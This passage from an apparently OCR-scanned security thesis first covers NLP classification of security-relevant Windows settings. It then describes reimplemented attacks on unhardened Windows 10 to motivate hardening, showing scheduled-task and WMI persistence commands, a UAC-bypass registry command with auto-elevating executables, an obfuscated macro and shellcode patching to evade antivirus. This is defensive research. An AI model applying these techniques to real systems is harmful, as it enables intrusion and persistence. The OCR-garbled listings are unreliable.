found SR words distributed over all POS tags. The same holds for high frequency, as most
frequent words in the SR descriptions also occur frequently in NSR ones. We also extracted
words that only occurred in SR descriptions. Several words, e.g., “attacker”, showed a
relation to a security aspect, but filtering for words with a frequency of greater than five left
only 12 words identifying hardly all the SR settings. As we could see subjects repeatedly
mentioned in the descriptions, we used the frequency-inverse document frequency (tf-idf)
algorithm instead of the frequency. To reduce the words to the relevant ones, we set the
threshold to 0.5 and ended up with 141 words. Afterward, we went manually through these
141 words and recognized that only a few came from the security domain. Thus, we were
looking for additional sources to increase our corpus on security-relevant words, and we
combined the descriptions with the rationales (text explaining why one should configure
a setting) of CIS rules. Again, we filtered out most of the words with the threshold of 0.5.
Within the combined data sources, we could find the 80 SR words, e.g., “microphone” or
“trust”; one can see all SR words as word clouds in the corresponding Kaggle notebook or in
Listing A.7.

Nevertheless, these words also occur frequently in the NSR descriptions, and we con-
structed based on tf-idf a counterpart set of words that mark NSR settings, e.g., “color”,
but not enough to prevent a high number of false positives. The same problem occurred
when we used n-grams or Named-entity recognition: The entity represents a particular case

2Code: kaggle/tumin4/sentiment-analysis
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description: "Windows Components. AutoPlay Policies. Turn off Autoplay.[...]"
Topic probabilities: [(0, 0.025299275), (1, 0.02649991), (2, 0.025674498), (3,
— 0.79593724), ..., (8, 0.026722105)]

Listing 4.2.: Topic prediction.

referring only to a few SR settings and, therefore, contributes little to the entire classification.
Alternatively, the n-gram also appears within the NSR descriptions and therefore could lead
to NSR descriptions being classified additionally as SR. With these findings, it becomes clear
that the lexicon-based approaches lead to a large percentage of false positives, making them
unsuitable in our case. SR words do not necessarily follow one after another. Therefore,
increasing the size of n-grams is not suitable as well. Our insight here was that classifying
the settings directly as SR performed not as well as expected.

4.4. Topic Modeling

Next, we trained a Latent-Dirichlet-Allocation (LDA) topic model to determine topics
within the SR descriptions.® The intuition behind the LDA is that a document typically not
only treats one single topic but can be rather seen as a mixture of multiple latent topics.
Once we trained the model on the SR descriptions, we can calculate the probability of each
description referring to a security topic. If the probability exceeds a certain threshold, we
classify the description as SR.

We tokenized the descriptions, removed stop words, selected only words between 2
and 16 characters, and built the lemma and the word stem. Of the 300 most frequent
stems, we manually created a list of words that are irrelevant for the security aspect, e.g.,
“kilobyte”, or not specific to one topic, e.g., “password”. Words like “password” might be
security-relevant. However, they would not point us toward a specific topic, and this is
what we need for the topic modeling. We trained the LDA model on the entire collection
of SR descriptions. For the evaluation, we tested the classifier on other data sets, e.g.,
labeled according to another guide for the same system variant or on data sets for different
system versions and variants. We built a dictionary containing all words that remained
after the preprocessing for the LDA model and assigned each word an id. The tf-idf-feature
representation lists the ids with the tf-idf scores. One might ask themselves why we din not
use the traditional training/test data split. However, we will answer this question later in
the discussion.

To optimize the performance of the model, we had to set the following parameters:
amount of topics; passes, i.e., how often the algorithm iterates over the entire corpus
to optimize the topic allocations; «, i.e., a priori assumption about the document-topic
distributions; whether we would use per-word-topics; the probability threshold. We

3Code: kaggle/tumin4/topic-modeling-and-latent-dirichlet-allocation
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(08 Guide  Settings #of Recall #classi- BA
0 ) T SR (%) fied as (%)
T3] SR
W101909 CIS 2688 246 91 406 92
W101803 CIS 2576 238 89 382 91
WS16 CIS 2430 156 88 355 89
W101909 Siemens 2688 303 59 407 73
WS16 Siemens 2430 192 80 355 85

Table 4.1.: Classification results of the LDA-based classifier.

achieved the best results with nine topics and four passes on our training data. For a, we
learned an asymmetric a priori probability distribution from the description corpus and
used per-word topics, i.e., we calculated a list of most likely topics for each word. Finally,
we set the probability threshold to 70%.

The LDA topics are not as descriptive as the topics based on the CIS categories. We
would need to draw semantic relationships between the words of one CIS topic, e.g., typical
key words relating to Data Protection are “send”, “collect” etc., but the words “send” and
“collect” do not necessarily share common context words. The knowledge about a semantic
relationship between them is necessary to relate them to the same topic. However, LDA is
not capable of doing this.

For the classification, we preprocess all descriptions, transform them into the tf-idf
representation, and the model returns the probabilities that the description refers to a topic.
The description in Listing 4.2 has a strong relation of ~ 80% to Topic 3. In the notebook, one
can see that Topic 3 is mainly related to “search” and “cortana”, but also other terms like
“ink”, “pictur”, and “font”. Thus, the topic models maps the description of the “Autoplay”
setting describing the autoplay of media files is assigned to this topic. If any topics are
above our threshold, we classify the setting as SR. Although the LDA obtained better results
than the SA, we discovered several problems that we discuss in Section 4.6.

4.5. Transformer-based Machine Learning

The promising, but not convincing results (see Section 4.6) of the topic model and the recent
success of deep learning models in standard NLP tasks motivated us to train an additional
model using transformer-based machine learning, namely BERT [23].

For our model, we extended the sequence size to 512 tokens as the average input length
in our data set was higher than the standard sequence length. Before training the BERT
model, we removed the hive duplications we recognized during our LDA experiments
(see Section 4.6) from our data set. We used a combination of over- and undersampling
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to deal with our imbalanced data set and the low number of SR settings. We altered all
hyperparameters, e.g., batch size or k-fold, in reasonable ranges of values.* We achieved the
best results with a small BERT model with 2 hidden layers, a hidden size of 128, 2 attention
heads, a batch size of 32, a dropout rate of 0.2, 20 epochs, and 5-fold cross-validation.
Overfitting was a noticeable problem with BERT’s storing capabilities and our limited data
set. Thus, we added a dropout layer and used the AdamW optimizer with a decreasing
learning rate.

4.6. Evaluation & Discussion

We evaluated the performance of the LDA and the BERT model on different data sets. The
correct classification of SR settings is critical, and, thus, we focus strongly on the recall.
A useful classifier in our context should therefore score a recall close to 100% without
producing too many false positives.

Our four main research questions were:

RQ1 What is the highest recall a useful LDA-based classifier trained on the SR descriptions
can achieve?

RQ2 Can we use our LDA-based approach as a classifier p for Siemens and CIS guides?
Does it make sense to train publisher classifiers, i.e., psir and pcis?

RQ3 Which recall/precision can our BERT-based classifier achieve on the unseen data?
Could we achieve a sufficiently high recall of nearly 100% to replace the manual
analysis by the security experts?

RQ4 What are the main reasons for false negatives?

RQ5 What are the main reasons for false positives? What would we need to avoid these
problems in the future? Can we find settings that are not part of the CIS guides but
are SR judged on the description?

Table 4.1 shows the classification results of the best performing LDA-based classifier
on W10 and Windows Server 2016 (WS16) data sets. Our data sets are imbalanced as we
have only a tiny percentage of SR settings. Therefore, we choose instead of the normal
accuracy the Balanced Accuracy (BA) [10]. To make this clear, we used all SR descriptions
of the CIS W10 1909 to identify SR topics in the descriptions. This means that the LDA has
seen all security-relevant descriptions in this dataset during the training phase. We choose
this strange setup to demonstrate the problems in our LDA-based model even within this
manipulated setup. A pathological classifier could learn from this that everything new is
not security-relevant and would perform perfectly in the first column of the table. However,

4Code: kaggle/tumin4/transformer-based-machine-learning
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Classifier Recall Precision F1

BERT 0.44 041 042
Uniform 0.54 0.11 0.18

Table 4.2.: Performance of the BERT and the dummy classifier on CIS Windows 10, version
1803.

with our LDA-based classifier, we achieve only recall value of 91% on the W10 1909 data
set with a 92% BA on our training set answering RQ1.

The positive result here is that we have very few false positives, i.e., the LDA-based
model can differentiate between the topics of the seen SR descriptions and the unseen NSR
descriptions. One might now ask why we still missed 23 SR settings and could not meet
our goal of ~ 100% recall. When we investigated the 23 false negatives, we could see that
the LDA-based model could not take the context of a word into account and lacked the
semantical understanding necessary to classify the settings correctly. Thus, we could train
LDA-based classifiers with sufficient recall of ~ 100%, but those resulted in large numbers
of false positives. The context-sensitivity and semantical understanding motivated our
BERT-based classifier as an improvement over LDA.

The LDA-based classifier has a high recall and BA values on all CIS guides (A, < 3pp,
Apa < 1pp), lower values on WS16, and performs bad on Siemens W10. The results are
relatively stable between different W10 versions and W10/ WS16. Therefore, we assume
that the CIS is consistent within its classification of settings based on their description. We
know that the security experts used the CIS WS16 as a basis for the Siemens WS16 guide
explaining the relatively good performance. After seeing the bad results on Siemens W10,
we investigated the difference between the CIS and the Siemens guide. We found many
settings targeted only in one guide but not in the other; even if such a setting was in the
training data, the classifier could not predict it correctly. With this in mind, training a global
p does not make sense, but a publisher classifier pcrs is useful. With the limitation to two
publishers and Windows-based OSs, we could answer RQ2.

Table 4.2 shows the result of our BERT-based classifier. In contrast to the LDA-base
classifier, we evaluated the BERT-based classifier on unseen data. Therefore, we removed
some settings from the training set and ensured that the setting used in the training was
used in the evaluation. As we present the first automated classification approach, we
compare it with the best-performing dummy classifier, i.e., randomly classifying x% of
the settings as SR, as a baseline. Although the dummy classifier has a better recall, its
precision is only 11%, thus producing too many false positives. In precision and F1, the
BERT classifier outperforms the baseline by 30pp respectively 24pp. However, our classifier
misses more than half of the SR settings in the test data. Table 4.3 shows how our classifier
performed on our other data sets. As the data sets share settings, we made sure that we
used in the test data set no settings that we previously used in training. Nevertheless,
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0 S Recall Precision F1
W10 1803 CIS 0.44 041 042
W10 1909 CIS 0.60 046 0.52
WS16 CISs 0.49 0.28 0.35
W10 1909 Siemens 0.48 0.33 0.39
WS16 Siemens 0.48 0.43 0.45

Table 4.3.: Classification results of the BERT-based classifier.

although trained on CIS W10 1803, our classifier performs best on the W10 1909 with a
60% recall and 46% precision. Our explanation for the good result on the newer version
is that CIS marks some new settings as SR and changes some old settings from NSR to SR.
However, CIS’s updates to their guides make them more consistent, at least to what the
classifier has learned from the descriptions. As we want to use the classifier in this use case
of a new software version, we see this number as a basis for the future, but in the end, we
are still far away from 100% recall. Therefore, we cannot replace the manual analysis of
security experts, and we could not fulfill the second part of RQ3.

Going through the false negatives of our classifiers, we identified four main classification
problems. Unique settings, short descriptions, descriptions with a vocabulary spread over
multiple topics, and linked settings. An example of the first group is the setting Enable
Windows NTP Server. The targeting rule’s rationale state that it is SR for the validity of
timestamps used, e.g., in authentication procedures. However, the setting’s description
neither includes “clock” nor “synchronization” and neither the LDA nor the BERT-based
models label it as SR. An example of the second group is Allow Cloud Search. Here, the
description only consists of one sentence, and we cannot assess the topic. The third group
is settings whose description is SR according to two or more topics. However, no single
probability is over the threshold. Our LDA classifier assigns the setting Allow user control
over installs to 51% to Topic 3 and 35% to Topic 4. Thus, we classify it wrongly as not SR.
The fourth group is settings that often occur in other settings” descriptions. Several NSR
settings mention the SR setting Prevent enabling lock screen slide show. Thus, the classifier
deducts that this setting is NSR. Linked settings also cause false positives if multiple SR
settings mention a NSR setting. The four presented groups answer RQ4.

Next, we went through the classifiers’ false positives. We could identify four groups
of common problems: Overruled settings, hive duplication, correction candidates, and
context-specific meanings. The first group is settings with SR descriptions. Nevertheless,
they become ineffective if another setting is enabled or disabled. The setting MS Support
Diagnostic Tool \ Configure execution level states that it takes no effect if the “scenario execution
policy” is configured. We would need a semantic model of the settings’ relations to avoid
such false positives. The second group is settings existing both in the Computer and
the User hive. They usually have the same description, but the Computer setting has
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precedence over the User setting. Thus, the CIS marks the Computer setting as SR and the
User as NSR. However, there are settings like Always install with elevated privileges stating
that we should enable this policy in both hives. Thus, we needed to know which settings
are essential on both hives to prevent these false positives. Since we trained the BERT-based
model after the LDA evaluation, we removed this problem there. The third group is settings
that indeed seem SR, e.g., because we found similar written SR descriptions. One example
here is the Prohibit non-administrators from applying vendor signed updates setting. We do not
know whether the CIS overlooked this setting or deliberately chose to omit this setting, e.g.
because the impact is meager. The fourth group is settings that have words that are only in
some contexts SR, e.g., Prevent Application Sharing in true color. “Application” and “Sharing”
appear in many SR descriptions, but here, this color setting is NSR. To filter out those rules,
we would need to take the context of the words more into account. Only the third group
provides candidates for the new rule. However, as we do not know whether the CIS forgot
them or omitted them, we cannot answer the second part of RQ5.

Our evaluation shows that our classifiers could detect many settings correctly, but not
enough for our use case. The main problem with the descriptions is that they should inform
a user about the setting not a security expert about the setting’s security implications. Our
findings suggest that NLP techniques like the LDA topic model alone cannot replace the
security experts and their domain knowledge in this task.

4.7. Conclusion

We constructed labeled data sets for security-relevant configuration settings. We motivated
our decision to train an LDA topic model and a BERT-based model to classify SR settings.
Our evaluation could achieve good results on the different data sets. The required recall of
close to 100 % due to the security implications could not be met. Therefore, our approach
cannot replace security experts going through the settings. Nevertheless, it can provide
good support for them by filtering out settings that are not security-relevant at all, i.e., the
model returns value near 0. Alternatively, they could use the predicted values to prioritize
which settings they should first look into. We published our labeled data sets so that other
researchers can use them for training better models in the future.

Based on our results, we propose several improvements for the configuration hardening:
First, we need data sets with settings, descriptions, and security relevancy for more systems,
e.g., Linux-based systems or applications. Second, software vendors should improve the
settings” descriptions and add security implications. Third, it would be better if the software
vendors tag all SR settings directly in a machine-readable way, e.g., in the ADMX, so that we
would not need NLP techniques to extract it from the natural language texts. Fourth, the
software vendors could provide machine-readable security-configuration guides, e.g., in
XCCDF or Scapolite Format, along with their software. With these guides, security-aware
users could harden their systems directly during the installation and make them secure
from day one.
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Instances

This chapter presents attacks on unhardened Windows 10 instances. Parts of
this chapter have been submitted as [112], where the author of this thesis is the
first author and the only Ph.D. student within the publication’s authors. “

Parts of the submitted publication are based on a master’s thesis[38] supervised by
the author of this thesis. In preparation of the publication, the author of this thesis
created the storyline of the article, revised and extended the existing content, and
wrote the article itself.

5.1. Introduction

Many companies are reluctant to apply security-configuration guides. On the one hand,
they suspect that the hardening of the system could impact its performance or break its
functionality (we will discuss the functionality-breaking part in Chapter 6). On the other
hand, they underestimate the risk of not applying some rules, although real hackers actively
search for misconfigurations like these [32]. Thus, they will not apply at least some of the
rules.

There are many strategies to deal with configuration hardening. Figure 5.1 illustrates
the three main strategies. In the first strategy, administrators are unaware of security-
configuration guides for their systems or do not have access to the right guides. Thus, they
change a few settings. Which settings they change depends on their administrators” and
security experts’ knowledge and experience. This strategy is the most common strategy at
companies and organizations like the TUM.

In the second strategy, the administrators use existing guides, e.g., from the CIS, to harden
their systems. If there are performance issues due to the hardening, they will see this in
most cases directly. If the hardening breaks certain system functionalities, the system users
will notify the administrators, probably via angry emails or messages. In these two cases,
the administrators will revert the problematic rules to restore functions or make the system
faster. This troubleshooting and reverting is cumbersome and takes much time. However,
the advantages are and will not be directly visible to them. Because the administrators
and the managers directly see the drawbacks but not the advantages, e.g., the number of
blocked attacks, they see them rarely.
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Administrators Systems

Security-
configuraiton DU —
guide '
\_/—\ no access/
not aware harden few settings
Security-
configuraiton * - )><’\ ?
guide pubhshed
\_/—\ harden all semngs —@—'
Security-
configuraiton - = =) -
guide publlshed

harden some semngs

Figure 5.1.: Three different strategies to handle the security configuration in an organiza-
tion. In Strategy 1 (the first row), the administrators change only settings they
know. In Strategy 2, they apply the full guide and revert some rules based on
experienced problems. In Strategy 3, they only apply the unproblematic rules.

In the third strategy, the administrators use the guides as a baseline, select specific rules
with little or no risk of failure, and apply them to the systems. This strategy is straightfor-
ward and less time-consuming than the second strategy. Thus, more administrators use
the third strategy instead of the second strategy. However, this strategy risks leaving out
intrusive rules that might influence the system’s behavior but block attacks. Whether a rule
blocks an attack or not is hard to determine for administrators.

We observed at Siemens and the TUM that administrators are very conservative and
skeptical regarding configuration hardening. They are reluctant to change the configuration
of running systems since they will be blamed for any problem occurring. We want to make
clear that we are not blaming the administrators for this utterly rational behavior. When
they face a trade-off between hardening and maintaining the system’s functionality, they
act correctly under the given objectives. Security researchers and practitioners like us must
convince them that configuration hardening is necessary. Security patching could be a role
model for configuration hardening from that perspective. Administrators used to be also
reluctant to update their systems. However, if the vendor makes sure that a security patch
helps against a specific attack and the administrators know that attackers can use this attack
against their system, they will patch their systems. Thus, we need to be as convincing with
existing attacks that security hardening can block to motivate the administrators to harden
their systems.

Therefore, we decided to collect realistic attacks based on publicly available resources on
state-of-the-art systems that we can block with configuration hardening. Realistic attacks
should exclude attacks with resource requirements exceeding most attackers, e.g., building
a quantum computer to crack an encryption scheme, since these are irrelevant for most
companies or organizations. Publicly available resources should exclude zero-day attacks
since they are also out of scope for most organizations. Our attacker model is a motivated
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person with a computer science and security background. Our hypothesis for this chapter
is the following: If we cannot find such attacks, it is not rational for the administrators to
apply configuration hardening.

To narrow down the domain, we focused on Windows 10 since it is the most common
OS for PCs and is also widely used at Siemens and the TUM. We considered two variants
of Windows 10: in Variant 1, every setting has its default value and Variant 2 is the
configuration used at the TUM. Variant 1 is the configuration most users use on their
private PCs. With Variant 2, we wanted to add an instance used in a big organization. Our
assumption here is that systems used in the corporate context are configured more securely
than systems used in private households.

5.2. Approach

By focusing on realistic attacks, we excluded theoretically working attacks. Thus, we
implemented all attacks discussed in the following. We did not publish the repository with
the code of the attacks since we do not want to support cyber criminals, but we can share
the repository on request with interested researchers.

For composing and describing the different attacks, we used a subset of the stages of
the ATT&CK framework [70]. We focused on Initial Access, Execution, Persistence, Privilege
Escalation, Defense Evasion, Credential Access, Command and Control, and Impact. Additionally,
we matched the found methods to the rules of the CIS and the DISA. Furthermore, we used
additional publicly available information from blogs or repositories to improve the guides
with new rules that blocked our attacks. This section will discuss the different stages of our
attacks and what methods we used.

To be clear: we did not attack uninformed TUM employees. We did not access or delete
sensitive TUM-related data. We conducted our experiments on TUM-PC instances we
ordered precisely for the purpose of being attacked.

Likewise, we do not claim that we discovered the weaknesses described in section. We
collected them from papers, forums, blogs, and other publicly available sources. However,
we reimplemented them if no implementation was available, collected them, and combined
them to the attacks discussed in Section 5.3. Furthermore, we analyzed them to find
potential configuration countermeasures.

5.2.1. Initial Access

In the first stage, we must bring our malicious programs to the victims’ PCs and trick them
into executing the programs. We could not implement a zero-click attack on up-to-date
Windows 10 systems. On the one side, it is not surprising. On the other side, this is a big
caveat for this chapter and this thesis. We will discuss this later in Section 5.5.

For our attacks, we focused on Phishing. Attackers can copy the corporate design of a
public university like the TUM with minimal effort. They can use content from the website
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or circular emails to create emails that look authentic but are fake. Thus, we assumed this
part of the attacks posed the highest risk to an institution like the TUM.

Furthermore, attackers can use open-source exploitation frameworks to infiltrate web
browsers. This enables them to launch social engineering attacks to trick victims into
opening and executing malicious files. For our attacks, we spread links to these websites
via emails using the BeEF framework for web browser penetration testing [60]. The first
attack vector we implemented using BeEF tricks the user so that they install a malware
themselves. The idea here is to show the victim an alert banner stating that they need
additional software to experience all the website’s features. If they click on the banner, the
browser downloads the malware.

Furthermore, we used the tool XSShell [124] and BeEF to establish a WebSocket-based
reverse shell [30]. Another option would be to use a clickjacking plugin module [60]. This
module shows an alert and redirects the users to a custom website whenever they click on
any element of the compromised website, which shows the possibilities of such an attack.

In summary, we focus on phishing emails as initial access for our attacks. However, the
huge caveat will be discussed later in Section 5.5. These phishing emails can establish the
initial access on the Windows 10 in the default configuration and the configuration used at
the TUM. After presenting the different phases of the attacks, we will show in Section 5.3
how we use them to start concrete attacks. In Section 5.4.1, we will then show which
configuration measures would make our phishing mailing strategy harder or impossible in
practice.

5.2.2. Execution

The starting point of the execution is that a user has received a phishing email. Next, we
want them to start a script or program to trigger our attack.

We can trick the user into executing our malware if we make the file look less suspicious.
If the Microsoft Office suite is installed — which is usually the case in corporate environments
—, Word, Excel, et cetera open .doc / .docx, .ppt, / .pptx, respectively .x1s, / .x1sx
files. Users are trained not to click on potentially malicious files like a . exe but do not
suspect a . x1sx file since they open many of these daily.

We will discuss two techniques we used to disguise the appearance of a file using the
Backdoorppt tool [80]. The first and trivial one exploits that Windows 10 systems hide the
extensions for known file types per default. Thus, an attacker can add two suffixes to a
file name, e.g., File.doc.exe and Windows 10 displays it as File.doc. The second one
uses the Right-To-Left Override (RTLO) Unicode character U+202E to change the text flow
from right to left. Windows 10 displays reg U+202E xslx.exe as regexe.xlsx, butit
will simply execute the . exe when the user clicks on it.

We also experimented with injecting malicious binary code into valid installers or pro-
grams. However, Windows 10 treats and executes this as a .exe application. In our
experiments, we could apply this technique successfully on the Sysinternals Process Ex-
plorer and Irfanview, an image viewer tool. We created with Metasploit a reverse TCP
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schtasks /create /tn "Innocent looking name" /tr "$CD%$\malicious_file.exe" /sc minute /mo
— 5

Listing 5.1.: Example for persistence via the task scheduler.

connector and injected it with the Backdoor Factory [83] into the two programs. This
injection worked on the . exe files and the .ms1 installers, and the applications launched
without errors. At the same time, the malicious shell code created a reverse TCP connection
between the victim and the attacker machine.

Another execution strategy we implemented is based on the autorun.inf file, e.g., on
USB sticks. If the victim inserts them into their computer, an unhardened Windows 10
executes the content of the autorun. inf directly. Related to this is the Windows Script
Host, which allows Windows 10 to execute JavaScript and VBScript files.

Next, we implemented execution strategies attacks based on PowerShell. Since Power-
Shell is preinstalled on Windows 10 and more potent than the old cmd, it is the perfect
facility for attackers to execute any attack, e.g., starting a ransomware. Thus, the Win-
dows Defender Antivirus checks PowerShell scripts to find potentially dangerous scripts.
However, we will discuss later how we used obfuscation to bypass this.

Lastly, we implemented execution strategies based on Microsoft Office macros. Although
a victim has to confirm the macro execution, most employees will do this because they have
to do it all the time for legitimate macros. Since macros have been used by attackers for
years, Microsoft recently decided to block macros from the internet in Office by default [67].

To summarize this section, we implemented various execution strategies based on mali-
cious executables, Microsoft Office macros, manipulated executables or installers, infected
USB sticks, and PowerShell scripts. In Section 5.3, we will show how we use the execution
strategies in our attacks before we explain in Section 5.4.2 how the administrators can block
the different execution strategies.

5.2.3. Persistence

To consistently acquire control over the system, attackers can establish a persistent backdoor
on a remote system when it is actively running. We implemented two strategies to gain
permanent control of the system, and only some strategies require administrative privileges.

Listing 5.1 shows how to schedule that malicious_file.exe runs every 5 minutes;
even with administrator privileges if the attacker already holds these privileges and adds
/RL HIGHEST. The second strategy is the WMI functionality, allowing the attacker to
schedule a service to run at a time specified by the query. The attacker needs elevated
privileges for this strategy. However, the victim cannot find a trace of this attack in the task
scheduler but has to download and install the Windows Sysinternals tool and use it to scan
for suspicious WMI calls.

Listing 5.2 shows how we can define a query in the WMI Query Language to run our
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Sargs_as_dict = @{

EventNamespace = "root/cimv2"
Name = "Innocent Task Name"
Query = "SELECT % FROM __ InstanceModificationEvent WITHIN 60 WHERE

— TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND 300 <=
— TargetInstance.SystemUpTime AND TargetInstance.SystemUpTime < 401"
QueryLanguage = "WQL"

}

Set-WmilInstance —-Arguments S$args_as_dict -Class __EventFilter -Namespace root/subscription
Listing 5.2.: WMI Query Language example to persist the attackers’ system access.

malware between 300 and 400 seconds after every Windows startup.

Persistence strategies are usually not part of attack demonstrations, but they are still
essential to fight; especially since cybercriminals currently tend to conduct extensive and
partially automated infection campaigns, persist their access, and start the actual attack
days or weeks later. Thus, we will discuss how to fight this with more secure values in
Section 5.4.3.

5.2.4. Privilege Escalation

After starting and executing our attack and establishing persistent access to the system,
we implemented privilege escalation strategies. Here, we focus on the User Account Control
(UAC) functionality of modern Windows systems. In modern Windows, the UAC assures
that software has only limited privileges, i.e., cannot change specific files or cannot execute
certain programs. Only if an administrator elevates its privileges the software gets these
additional capabilities as well. In that case, Windows prompts the user for confirmation, and
— if the current user does not have administrator rights — the password of an administrator.

We can trigger this user prompt with the elevate tool [59]. Suppose we managed to sign
our malware with an Extended Validation Certificate or a certificate approved by an installed
root certificate. In that situation, the elevation prompt has a more trustworthy blue instead
of the suspicious yellow, thus looking more legitimate. Users are used to programs requiring
elevation, e.g., installers or some games. Therefore, they may agree to the request without
further questioning.

Suppose the current user has administrator rights and starts a malware. In that case,
we can completely circumvent the UAC using the automatic elevation on Windows. The
idea of the Windows feature is that the UAC prompt does not appear for all programs.
Windows grans elevated privileges automatically to some system executables. We need

reg add SERVICE_REGISTRY_KEY /c %CD%\malicious_file.exe" /d "cmd.exe /f && reg add
< SERVICE_REGISTRY_KEY /f /v "DelegateExecute"

Listing 5.3.: Script to trigger the privilege escalation.
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Automatically Elevated Service Registry Key to Set .exe File to Start
Backup and Restore Service HKCU\software\classes\folder\shell\open\command sdclt

Computer Management Snapin HKCU\software\classes\mscfile\shell\open\command compmgmt launcher
Launcher

Helper for Features On Demand HKCU\software\classes\ms-settings\shell\open\command fodhelper

Set Program Access and Com- HKCU\software\classes\ms-settings\shell\open\command computerdefaults

puter Defaults Control Panel

Troubleshooting tool to reset the HKCU\software\classes\appx82a6gwred4fdg3bt635tn5ctgjf8msdd2 wsrest
Windows Store \shell\open\command

Table 5.1.: Examples of system executables that allow the UAC bypass.

certain three things to exploit this behavior First, we must set the autoElevate key or
change the file name to one of the allowed names. Second, we have to sign them with a trust
certificate; Third, we must run them from a trusted directory, e.g., from the C: \Windows\
directory [133].

Whenever some of these automatically elevated executables run, they perform a look-up
in specific registry keys and execute whatever we specify in these keys. Anything started
this way inherits the administrative privileges from the starting elevated executable. We
can exploit this by manipulating these registry keys to contain CMD or PowerShell scripts
for starting an attack. Afterward, we start such an automatically elevated executable, and
the previously added scripts can start our now elevated attack.

Table 5.1 shows some of these automatically elevated executable; to our knowledge,
there is no Windows-internal mechanism that could prevent the UAC bypass for these files.
Listing 5.3 shows how we first put our $CD%\malicious_file.exe into such a registry
entry, and then tell Windows to delegate the privileges; SERVICE_REGISTRY_KEY has to
be one of the keys in Table 5.1. Ultimately, we only have to start the corresponding program
to initiate our elevated attack.

As described above, it is not that difficult to escalate the privileges on Windows 10 under
certain circumstances. We will demonstrate this concretely in Section 5.3.4 and how to fix
this in Section 5.4.4.

5.2.5. Defense Evasion

On step which is important during the whole course of the attack is the Defense Evasion.
In our case, this defense mainly was the Windows Defender Antivirus, the preinstalled Win-
dows’s antivirus software. It uses local and online malware data and artificial intelligence
techniques to scan potentially dangerous files [28]. Although it performs better with an
internet connection, Windows Defender Antivirus keeps the local malware data up-to-date
to provide good offline functionality.

Microsoft and most other antivirus software vendors do not reveal their malware criteria;
an attacker could otherwise craft their malware not to match these criteria. In our exper-
iments, we circumvented the other, commercial antivirus software on the TUM systems
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Sub AutoOpen ()

’

Runs directly when the file is opend

ActiveDocument.Variables ("Mn90Cwz7wSnhJ0bG") .Value =

— "cnb7NykEqUACyP4hX...7NoSnFLVfeuREp27QAWMMMgKAQ2 fnMoZ4wrboT"

' Call malicious function
nDP1jk98bI

End Sub

Private Sub nDPiJjk98bI ()
Dim Y3G4j7J5alLHe2l As Integer
Dim kQ%hptiCsZnKk As Integer

kQ9%hptiCsZnKk = (-3 + 3)
For Y3G4j7J5aLHe2l = Asc("A") To Asc("Z"): vPReONPYwkvieD (kQ9hptiCszZnKk) =
— Y3G4j7J5alHe2l: kQ9%hptiCsZnKk = kQ%hptiCsZnKk + (1 + (0 Xor 0)): Next
For Y3G4j7J5aLHe2l = Asc("a") To Asc("z"): vPReONPYwkvieD (kQ9hptiCsZnKk) =
— Y3G4j7J5alHe2l: kQ9%hptiCszZnKk = kQ9%hptiCszZnKk + (1 + (0 Xor 0)): Next
For Y3G4j7J5alLHe2l = Asc("0") To Asc("9"): vPReONPYwkvieD (kQ%hptiCsZnKk) =
— Y3G4j7J5alHe2l: kQ%hptiCsZnKk = kQ9%hptiCsZnKk + (1 Xor 0): Next
vPReONPYwkvieD (kQ9hptiCsZnKk) = Asc("+"): kQ9%hptiCsZnKk = kQ9hptiCsZnKk +
— 1
vPReONPYwkvieD (kQ9hptiCsZnKk) = Asc("/"): kQ9hptiCszZnKk = kQ9%hptiCsZnKk +
— (1 Xor 0)
For kQ%ptiCsZnKk = 0 To (57 + (24 Xor 90)): AJEXIAdJWRFiH1 (kQ%hptiCsZnKk)
— = 255: Next
For kQ%hptiCsZnKk = (7 - 7) To (25 + 38):
— AJEXIddIWRFiH1 (VPReONPYwkvieD (kQ9hptiCsZnKk)) = kQ9hptiCsZnKk:
— Next

YS5L4ifZfc = True
Rest of the malicious function
End Sub

Listing 5.4.: Example of an obfuscated VBScript macro.

way easier than the free Windows Defender Antivirus. Thus, we focused on evading the
Windows Defender Antivirus.

Our primary method to circumvent the antivirus software was obfuscation. Obfuscation
techniques should make it harder for an individual or software to understand a program.
Antivirus software try restoring the original program and looking for known suspicious
function calls or patterns. Since they regularly update their malware databases, a malware
evades the Antivirus software usually only for a limited time. Hence, we-here in the role of
attackers-must continuously improve the obfuscation methods if we want our malicious
files to remain undetected. We combined static and dynamic obfuscation techniques to
evade the Windows Defender Antivirus. Static obfuscation techniques alter the source code
before it is executed. In contrast, dynamic obfuscation creates the actual program only
during the execution.

Listing 5.4 shows a VBScript macro statically obfuscated with a VBA obfuscation tool [55].
It is way harder to understand the behavior of this macro in this obfuscated form. Since the
static obfuscation techniques are public, as in the case of tools like Tigress [19] or discovered
by security researchers, these security researchers will likely publish the corresponding de-
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C9 Xor rcx,rcx
E9 CD AB FF FF sub rcx, OXxFFFFABCD

[Bp 05 AB EF FF FF lea rax, [rip#0xFFFFEFAB]
BB 99 A3 D9 A9 55 E7 E3 7D movabs rbx,0x7DE3E755A9D9A399
[l xor QWORD PTR [raxH{0x3A], rbx
b 9F D5 FF FF sub rax, OxFFFFD59F
E2 F4 loop 0x1B

Listing 5.5.: Assembler instructions of an exploit before the obfuscation.

obfuscation; an updated version of the Antivirus software can then use this de-obfuscation.
It might detect the malicious intent of the de-obfuscated program. Dynamic obfuscation
techniques are harder to detect and reverse since the Antivirus software has to execute the
right parts of the obfuscated program to create the malicious code in memory and scan the
code in memory at exactly this time. Since this severely impacts the system’s performance,
the Antivirus software cannot scan the code in memory all the time, reducing the probability
of seeing the malicious code.

We obfuscated our source code dynamically for our attacks as suggested by Kanzaki
et al. [45]. We added NOPs (0x90 in hex code) and replaced bytes of the malicious code
in the executable; during runtime, we update the forged bytes to their original value and
restore the malicious code. Combined with static code obfuscation, we could successfully
mitigate the currently up-to-date version of Windows Defender Antivirus and other modern
commercial antivirus software. Listing 5.5 shows a malicious exploit’s unmodified hex code
part and the corresponding Assembler instructions. One can generate this shell code using
the ms fvenom command in the Metasploit framework.

First, we replace the first and the third byte, i.e., 0x48 with 0xFF and 0xC9 with 0xAA.
Second, we insert two NOP instructions at the beginning. The NOPs do not change the
program logic, and another program corrects the byte replacements later at runtime. List-
ing 5.6 shows how these changes affect the hex code translation into assembler instructions.

FF 31 push QWORD PTR [rcx]
AR stos BYTE PTR es:[rdil,al
E9 CD AB FF FF sub rcx, OxFFFFABCD
D 05 AB EF FF FF lea rax, [rinxFF?FEFAB]
13: BB 99 A3 D9 A9 55 E7 E3 7D movabs rbx,0x7DE3E755A9D9A399
xor OWORD PTR [rax[0x3A], rbx
